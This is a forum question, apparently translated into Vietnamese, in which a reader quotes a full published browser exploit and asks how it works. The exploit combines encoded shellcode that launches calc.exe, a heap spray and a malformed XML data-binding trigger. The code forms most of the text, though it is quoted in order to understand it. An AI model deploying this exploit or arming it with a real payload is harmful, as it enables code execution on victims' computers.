Tôi thường không gặp khó khăn khi đọc mã JavaScript nhưng với điều này tôi không thể hiểu được logic. Mã này là từ một khai thác đã được xuất bản 4 ngày trước. Bạn có thể tìm thấy nó tại milw0rm .
Đây là mã:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Đây là những gì tôi tin nó làm và tôi muốn bạn giúp tôi cho phần mà tôi hiểu lầm.
Biến shellcode
chứa mã để mở calc.exe
. Tôi không hiểu làm thế nào họ tìm thấy chuỗi kỳ lạ đó. Bất kỳ ý tưởng?
Điều thứ hai là biến spray
. Tôi không hiểu vòng lặp kỳ lạ này.
Điều thứ ba là biến memory
không bao giờ được sử dụng ở bất cứ đâu. Tại sao họ tạo ra nó?
Điều cuối cùng: thẻ XML làm gì trong trang?
Hiện tại tôi có câu trả lời tốt nhưng chủ yếu là những câu trả lời chung chung. Tôi muốn giải thích thêm về giá trị của mã. Một ví dụ là unescape("%u0a0a%u0a0a");
. Nó có nghĩa là gì? Điều tương tự cho vòng lặp: tại sao nhà phát triển viết : length < 0xd0000
? Tôi muốn hiểu sâu hơn, không chỉ lý thuyết về mã này.